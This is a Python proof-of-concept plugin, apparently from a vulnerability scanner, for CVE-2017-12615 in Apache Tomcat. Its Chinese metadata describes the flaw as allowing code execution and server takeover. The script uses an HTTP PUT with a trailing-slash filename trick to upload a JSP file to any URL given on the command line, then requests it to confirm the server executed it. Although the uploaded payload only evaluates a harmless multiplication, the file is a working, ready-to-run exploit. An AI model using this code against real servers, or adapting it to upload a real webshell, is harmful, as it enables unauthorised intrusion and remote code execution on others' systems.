#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import random
import requests
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

def get_plugin_info():
    plugin_info = {
        "name": "Tomcat 代码执行",
        "desc": "攻击者通过此漏洞可代码执行，进而入侵控制服务器。",
        "grade": "高",
        "type": "web",
        "keyword": "tag:tomcat cve:CVE-2017-12615",
    }
    return plugin_info
    
def poc(arg):
    arg = arg if "://" in arg else f"http://{arg}"
    timeout = 5
    headers = {
        'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
        'Referer': arg
        }
    rand_a = random.randint(200, 2100)
    rand_b = random.randint(200, 2100)
    rand_filename = str(random.randint(200000000, 210000000))
    payload = f"<%out.println({rand_a}*{rand_b});%>"
    shell_url = f"{urlparse(arg).scheme}://{urlparse(arg).netloc}/{rand_filename}.jsp/"
    try:
        requests.put(
            shell_url,
            data=payload,
            headers=headers,
            timeout=timeout,
            verify=False
            )
        r = requests.get(
            url=shell_url.rstrip("/"), 
            headers=headers,
            timeout=timeout, 
            verify=False
            )
        if r.status_code == 200 and str(rand_a*rand_b) in r.text:
            return True
        else:
            return False
    except Exception as e:
        return 


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 2:
        print("{} URL".format(sys.argv[0]))
    else:
        print("{} {}".format(sys.argv[1],poc(sys.argv[1])))  

